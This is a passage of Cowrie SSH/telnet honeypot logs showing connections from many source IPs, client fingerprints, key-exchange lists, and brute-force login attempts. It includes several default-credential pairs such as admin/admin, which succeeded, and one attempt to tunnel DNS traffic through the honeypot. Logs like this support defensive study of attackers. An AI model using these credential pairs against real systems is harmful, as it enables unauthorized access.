nssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:16.360541Z","src_ip":"159.203.92.129","session":"f870694c3ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abc123","message":"login attempt [ansible/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:16.379019Z","src_ip":"159.203.92.129","session":"f870694c3ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:17.385965Z","src_ip":"159.203.92.129","session":"f870694c3ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":41980,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd94b9f1bee4","protocol":"telnet","message":"New connection: 172.233.212.110:41980 (10.17.0.5:23) [session: fd94b9f1bee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:17.461405Z"}
{"eventid":"cowrie.session.closed","duration":31.07734727859497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:17.736241Z","src_ip":"172.233.212.110","session":"51b072e48dd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52252,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9bd9b9a92e0","protocol":"telnet","message":"New connection: 209.126.87.217:52252 (159.203.135.109:23) [session: a9bd9b9a92e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:18.866766Z"}
{"eventid":"cowrie.session.closed","duration":30.84550380706787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:20.121093Z","src_ip":"209.126.87.217","session":"bc40ef4823e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60288,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e3362c2eac2","protocol":"telnet","message":"New connection: 209.126.87.217:60288 (159.203.135.109:23) [session: 4e3362c2eac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:22.856460Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60296,"dst_ip":"159.203.135.109","dst_port":23,"session":"519e917fc9ca","protocol":"telnet","message":"New connection: 209.126.87.217:60296 (159.203.135.109:23) [session: 519e917fc9ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:23.098515Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":41994,"dst_ip":"10.17.0.5","dst_port":23,"session":"93360379833b","protocol":"telnet","message":"New connection: 172.233.212.110:41994 (10.17.0.5:23) [session: 93360379833b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:23.430417Z"}
{"eventid":"cowrie.session.closed","duration":33.549304723739624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:24.003715Z","src_ip":"172.233.212.110","session":"2312f40b8589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":40956,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c5f62d9523","protocol":"telnet","message":"New connection: 172.233.212.110:40956 (10.17.0.5:23) [session: 88c5f62d9523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:25.793566Z"}
{"eventid":"cowrie.session.closed","duration":31.22692322731018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:26.195148Z","src_ip":"172.233.212.110","session":"6499f81da845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14321279525757,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:26.351168Z","src_ip":"172.233.212.110","session":"838007639a3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60298,"dst_ip":"159.203.135.109","dst_port":23,"session":"be0c0b978622","protocol":"telnet","message":"New connection: 209.126.87.217:60298 (159.203.135.109:23) [session: be0c0b978622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:26.438260Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":40960,"dst_ip":"10.17.0.5","dst_port":23,"session":"58aa72261ab1","protocol":"telnet","message":"New connection: 172.233.212.110:40960 (10.17.0.5:23) [session: 58aa72261ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:26.574244Z"}
{"eventid":"cowrie.session.closed","duration":31.279335975646973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:27.451228Z","src_ip":"209.126.87.217","session":"056335da7e3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":40964,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f896101f972","protocol":"telnet","message":"New connection: 172.233.212.110:40964 (10.17.0.5:23) [session: 9f896101f972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:27.689380Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":40984,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6d5677b1af1","protocol":"telnet","message":"New connection: 172.233.212.110:40984 (10.17.0.5:23) [session: c6d5677b1af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:28.284655Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":40976,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91169199995","protocol":"telnet","message":"New connection: 172.233.212.110:40976 (10.17.0.5:23) [session: f91169199995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:28.852831Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":40988,"dst_ip":"10.17.0.5","dst_port":23,"session":"bff685a57948","protocol":"telnet","message":"New connection: 172.233.212.110:40988 (10.17.0.5:23) [session: bff685a57948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:30.628569Z"}
{"eventid":"cowrie.session.closed","duration":33.15192246437073,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:32.132720Z","src_ip":"172.233.212.110","session":"0a514764ecb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.86510920524597,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:32.550247Z","src_ip":"172.233.212.110","session":"60e902edf6a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.027448415756226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:32.737211Z","src_ip":"172.233.212.110","session":"6f7088d80815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.30230379104614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:35.747814Z","src_ip":"172.233.212.110","session":"c8abd1d90fff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":39434,"dst_ip":"10.17.0.5","dst_port":23,"session":"060111e8775c","protocol":"telnet","message":"New connection: 172.233.212.110:39434 (10.17.0.5:23) [session: 060111e8775c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:36.605818Z"}
{"eventid":"cowrie.session.closed","duration":33.22927761077881,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:38.464074Z","src_ip":"172.233.212.110","session":"3a9481a343bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52718,"dst_ip":"159.203.135.109","dst_port":23,"session":"226cf3b08827","protocol":"telnet","message":"New connection: 209.126.87.217:52718 (159.203.135.109:23) [session: 226cf3b08827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:39.159765Z"}
{"eventid":"cowrie.session.closed","duration":31.869521617889404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:39.211754Z","src_ip":"172.233.212.110","session":"a35783034a5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":39438,"dst_ip":"10.17.0.5","dst_port":23,"session":"913fd5f2a511","protocol":"telnet","message":"New connection: 172.233.212.110:39438 (10.17.0.5:23) [session: 913fd5f2a511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:39.220378Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52732,"dst_ip":"159.203.135.109","dst_port":23,"session":"56a605812eff","protocol":"telnet","message":"New connection: 209.126.87.217:52732 (159.203.135.109:23) [session: 56a605812eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:39.720929Z"}
{"eventid":"cowrie.session.closed","duration":32.059452056884766,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:40.943953Z","src_ip":"172.233.212.110","session":"76d043c599d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":39444,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eb8e4d72abd","protocol":"telnet","message":"New connection: 172.233.212.110:39444 (10.17.0.5:23) [session: 5eb8e4d72abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:41.557807Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":39448,"dst_ip":"10.17.0.5","dst_port":23,"session":"d89ecf87ec51","protocol":"telnet","message":"New connection: 172.233.212.110:39448 (10.17.0.5:23) [session: d89ecf87ec51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:42.196625Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":42138,"dst_ip":"10.17.0.5","dst_port":23,"session":"55c452b07928","protocol":"telnet","message":"New connection: 139.162.207.207:42138 (10.17.0.5:23) [session: 55c452b07928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:42.330261Z"}
{"eventid":"cowrie.session.closed","duration":35.327255964279175,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:43.829998Z","src_ip":"172.233.212.110","session":"eb693b8b1598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":34694,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7d4d022fb84","protocol":"ssh","message":"New connection: 80.94.92.182:34694 (10.17.0.5:22) [session: a7d4d022fb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:46.134449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:46.220382Z","src_ip":"80.94.92.182","session":"a7d4d022fb84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:46.373936Z","src_ip":"80.94.92.182","session":"a7d4d022fb84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":55480,"dst_ip":"10.17.0.5","dst_port":23,"session":"b83527ccf69f","protocol":"telnet","message":"New connection: 172.233.212.110:55480 (10.17.0.5:23) [session: b83527ccf69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:46.463447Z"}
{"eventid":"cowrie.login.failed","username":"3d","password":"3d","message":"login attempt [3d/3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:47.305193Z","src_ip":"80.94.92.182","session":"a7d4d022fb84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":55484,"dst_ip":"10.17.0.5","dst_port":23,"session":"a301d765ddeb","protocol":"telnet","message":"New connection: 172.233.212.110:55484 (10.17.0.5:23) [session: a301d765ddeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:47.798215Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:48.631590Z","src_ip":"80.94.92.182","session":"a7d4d022fb84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":55486,"dst_ip":"10.17.0.5","dst_port":23,"session":"545aed4da2dd","protocol":"telnet","message":"New connection: 172.233.212.110:55486 (10.17.0.5:23) [session: 545aed4da2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:48.963342Z"}
{"eventid":"cowrie.session.closed","duration":31.871195316314697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:49.332465Z","src_ip":"172.233.212.110","session":"fd94b9f1bee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":56686,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6a1ab68b7bd","protocol":"ssh","message":"New connection: 125.31.2.160:56686 (10.17.0.5:22) [session: b6a1ab68b7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:49.955407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:49.960147Z","src_ip":"125.31.2.160","session":"b6a1ab68b7bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:50.178814Z","src_ip":"125.31.2.160","session":"b6a1ab68b7bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student321","message":"login attempt [student/student321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:51.084126Z","src_ip":"125.31.2.160","session":"b6a1ab68b7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.53231954574585,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:51.398802Z","src_ip":"209.126.87.217","session":"a9bd9b9a92e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":55506,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf30606f76ff","protocol":"telnet","message":"New connection: 172.233.212.110:55506 (10.17.0.5:23) [session: cf30606f76ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:51.752477Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":55492,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5eb7e4685c3","protocol":"telnet","message":"New connection: 172.233.212.110:55492 (10.17.0.5:23) [session: f5eb7e4685c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:52.278994Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:52.304689Z","src_ip":"125.31.2.160","session":"b6a1ab68b7bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49058,"dst_ip":"10.17.0.5","dst_port":22,"session":"993bdd8266a1","protocol":"ssh","message":"New connection: 87.251.64.176:49058 (10.17.0.5:22) [session: 993bdd8266a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:52.323113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:52.327889Z","src_ip":"87.251.64.176","session":"993bdd8266a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:52.424545Z","src_ip":"87.251.64.176","session":"993bdd8266a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:52.715679Z","src_ip":"87.251.64.176","session":"993bdd8266a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:52.814070Z","session":"993bdd8266a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:52.912283Z","src_ip":"87.251.64.176","session":"993bdd8266a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:53.011321Z","src_ip":"87.251.64.176","session":"993bdd8266a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44594,"dst_ip":"10.17.0.5","dst_port":23,"session":"708edef05301","protocol":"telnet","message":"New connection: 172.233.212.110:44594 (10.17.0.5:23) [session: 708edef05301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:53.022076Z"}
{"eventid":"cowrie.session.closed","duration":31.61903738975525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:55.049313Z","src_ip":"172.233.212.110","session":"93360379833b","protocol":"telnet"}
